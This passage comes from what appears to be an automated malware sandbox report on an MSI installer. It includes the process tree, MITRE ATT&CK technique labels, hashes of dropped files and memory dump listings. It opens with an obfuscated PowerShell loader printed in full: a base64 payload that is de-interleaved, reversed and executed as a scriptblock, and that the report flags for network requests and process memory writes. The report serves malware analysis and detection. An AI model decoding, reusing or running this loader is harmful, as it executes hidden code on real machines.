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');$jHscFnLw=[byte[]]$wXPuuWmD;$w9086=[int]$jHscFnLw[0];$f6833=[int]$jHscFnLw[1];$t3473=[int]$jHscFnLw[2];$n6510=[int](($jHscFnLw.Length - 4) / $w9086);$o7312=New-Object byte[] $n6510;for($r7352=0;$r7352 -lt $n6510;$r7352++){$o7312[$r7352]=$jHscFnLw[4 + ($r7352 * $w9086) + $f6833]};if($t3473 -ne 0){for($r7352=0;$r7352 -lt [int]($n6510 / 2);$r7352++){$a6087=$o7312[$r7352];$o7312[$r7352]=$o7312[$n6510-1-$r7352];$o7312[$n6510-1-$r7352]=$a6087}};$jHscFnLw=$o7312;$ZRGc29iQxAdphe=[Text.Encoding]::UTF8.GetString($jHscFnLw);$aszyqt8=[scriptblock]::Create($ZRGc29iQxAdphe);& $aszyqt8"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ly1ijvci\ly1ijvci.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5704
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF5C0.tmp" "c:\Users\Admin\AppData\Local\Temp\ly1ijvci\CSC8290559A9464416CAF595F548C1C711.TMP"
      4⤵
      PID:4632

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59e3c0.rbs

Path C:\Config.Msi\e59e3c0.rbs
Size 8KB
SHA256 6775855c8c4939948afd6eee44d996b1db463e9b27e7143f8b21064080bb5eff
MD5 aa76b80096d73b2c16ffbf62493e3159
SHA1 4e283830b965b23e42a04c6607f517ac5b2bb0da
SHA512 d569fc07fa61907de2ab86452da111a926695d9542a386a2b18e51e21a8563d57f9baef6ae5e437ee8c8588a0204261058fb8825e8581dc577b2830f71319454
SSDEEP 192:FIVMKATMXMCKfHIDfHrM/MtNtMpMBM2MuzJzGz4pgtzDzNvzWzhzwzZzTzW:F4dEf+fj
TLSH
T16E022045B290C4E3F9981739C7272A703B73D3C8D332779F688891A45E137899F1A2DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESF5C0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF5C0.tmp
Size 1KB
SHA256 f834dad3ad2e1831c923c2a68ea99a7189cc63f5303508bdd2f8b8745b8a2e30
MD5 c9cc0b0e6c3d6e82a47a2df999714f6a
SHA1 fcc2ef2539f758af8575d2ed2455595bba38f771
SHA512 5400ab78a2a2e820c50aed8e92e31cb14446bbe1eb9db5c67b1fb0a4ed624848942e1c26cac611bebda38cca50a3a174d4f2e185c2023c2c754712a7cc10c433
TLSH
T13E21EB0483ED070FF0B31731B9FA172B9668FDA4EF72939A848002682C51504DEA0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_iab2hfef.xhz.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iab2hfef.xhz.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ly1ijvci.dll

Path C:\Users\Admin\AppData\Local\Temp\ly1ijvci\ly1ijvci.dll
Size 4KB
SHA256 57ddfcf4a5b3ac7a924091f8d33f9fdf81a923e8704f90c6433525ff81fda0bd
MD5 bf2dee983b4b30e67c8a83119640c6a0
SHA1 264a4056be55cbe46aca3f63ad52645371149ac6
SHA512 ee0acdacd191e5bc3978d50d6a341ef2c753cd16abaed421fa984371cdb6a56bd11604b37ddaf2e3d65c7e41ab0b544322a68c94c94651c355f2a6370263b5c4
TLSH
T1AF81460697E94A67E4FB173DABB303112A74FC106B33971F0CD491585CA87345E66BB1
MD5 SHA1 SHA512 TLSH

Submit Download

e59e3bf.msi

Path C:\Windows\Installer\e59e3bf.msi
Size 4.3MB
SHA256 ff89161010aa1f19314c7bac959ef44d761ecd626abb4f1558e1592ba82abfc5
MD5 d50af2db52fd08299fc46b8b493016d7
SHA1 0ae40c532008bf5bf84eba34a2ec8902af6101d0
SHA512 796e9f389eacc8f1b80d383846486ad796ecce5a40a60afcaff508bcc5576992403c8ca793802bd39fd151df610d4cbe2913c581f146bd54ec0ccbf1bbee99bd
SSDEEP 98304:O/JrMOEglGFWZWVWCBVcnCI3tZnvmBSf80X8T21NYnYsc9:0bxPoVcnj3/neBK80emNadc9
TLSH
T13826D8EC7A51F3D980B01D5B9294CDEA176A3443CBC84B51BEBEBE7A128493D14F1E18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 f0851ee0e80a93eb2004c3100febb8d900922d6a928ef03433acaeb12f5b8400
MD5 78019b99e6e9ef4a061d030b49d045f4
SHA1 1e3aaf53b51c140091aea410597b6c59dc500c69
SHA512 25852fcc568889b0107d055887e9fbcfe9d6a361e078552ad86691dac168716c0ccb499793d67ed86255100b97385cd871aabaed603cefdb57c7824cbe9f16da
SSDEEP 24576:IFo3DMP3doO/vvTL/SAuOilQvru0VbJ90z48dDgm47AKJpvOMoR2uXUPKeQ:OHw
TLSH
T18357042532F92211E7F39F3CA8F46A2349397D5B9C15DE8D45411B8E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{d71df172-3fc4-488d-809e-f8dd5b260b75}_OnDiskSnapshotProp

Path \??\Volume{e35b4427-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d71df172-3fc4-488d-809e-f8dd5b260b75}_OnDiskSnapshotProp
Size 6KB
SHA256 8dda39d4793f37dfe28e666cd9c273a8b38d5787a21429dc69d0519221be2326
MD5 cc40b0a9f90e8094f3fa49fb3088908c
SHA1 4eeceda8a78426f5b97eeac6b6d3ab28b38d5f1e
SHA512 407a12b9f6e4fa7c6b3a089e88ed72d8b845570aa33d0c8b7b15c88bc9ae24c63082127ada47e0bb975d28fbf5f8370fec5e4946274c9923827eaf2adce3cbd4
SSDEEP 96:FJdFFvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:bpb++uVmN
TLSH
T108D187185AE54711E2B3AB3128F58557A877B811EF33CB8E0198238E6630910F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC8290559A9464416CAF595F548C1C711.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ly1ijvci\CSC8290559A9464416CAF595F548C1C711.TMP
Size 652B
SHA256 46ebfc8f98b51e4d3290a659a9e3b9cdd1fcf66100cf80e241b7b8866692e902
MD5 af522bcc3ab0abbe705722e81c9bc41d
SHA1 af7dbb57addaf7850ead8640abf6a18dd2107391
SHA512 d3b023df49d245e22fc8fdd51375840c61f5246ffd206070aed9ae2b84ad0b7efe71b5c57826f96f9bb8d5bdc5302dc53fa0deef3041d08a04e5a45516810510
TLSH
T18DF05E0963F8020EF0F35B30BDF6836395A8BC64DE32A3ED148043592C649108962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

ly1ijvci.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ly1ijvci\ly1ijvci.0.cs
Size 697B
SHA256 cb40dbe82361bbc42369a5a9f407afa67fab556301122f60f20e89769e196749
MD5 9e6c30bd3b06618ff542b1232782bb33
SHA1 57c6439bca9589b6880a0b42ae65f1f1bc536acd
SHA512 bbf7a33322b871812a578c774bd38b596d7facb070921e7aa38c5780abdbac3125880bf9c0c63e5af2fd01fb50ca571ffe9846fad34d7c7f9a0460930500c4cd
TLSH
T1CC011008430F687C40D35118DAED822DB673203012F1680189E7AE608FCF211C737B2C
MD5 SHA1 SHA512 TLSH

Submit Download

ly1ijvci.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ly1ijvci\ly1ijvci.cmdline
Size 369B
SHA256 97222c35a97fd3ef5f9eab22290dbd102752bae8a73dfbab03199bfbdee42a72
MD5 b62d54058cd0f0a8ccd2ade7371cccd7
SHA1 11b8a1584ca330a572cf81f96ff9cf0504ba0be5
SHA512 1680eaa2839c618b53690b1cfd20d1eb5bd6b37eb0e587f9d40fbaa4036082de165d648485c338a4c5ed8fd7a7bec830dfadfec276eb50d4f9d5d7b81c6c032b
TLSH
T155E0C02A4246C27F01DE10D72369C4BDD27607833D403F845288484DE01710827D17C7
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3240-22-0x00000284E0D60000-0x00000284E0D6A000-memory.dmp

Download

memory/3240-52-0x00000284E1C40000-0x00000284E1CBA000-memory.dmp

Download

memory/3240-25-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/3240-24-0x00000284E0EF0000-0x00000284E0F14000-memory.dmp

Download

memory/3240-23-0x00000284E0EF0000-0x00000284E0F1A000-memory.dmp

Download

memory/3240-40-0x00000284E0FB0000-0x00000284E0FB8000-memory.dmp

Download

memory/3240-21-0x00000284E0CA0000-0x00000284E0D52000-memory.dmp

Download

memory/3240-17-0x00000284E08F0000-0x00000284E0912000-memory.dmp

Download

memory/3240-41-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/3240-42-0x00000284E0EE0000-0x00000284E0EE2000-memory.dmp

Download

memory/3240-20-0x00000284E0C80000-0x00000284E0C9E000-memory.dmp

Download

memory/3240-57-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/3308-26-0x000001F56B000000-0x000001F56B9A4000-memory.dmp

Download

memory/5704-38-0x0000028A9EB60000-0x0000028A9F504000-memory.dmp

Download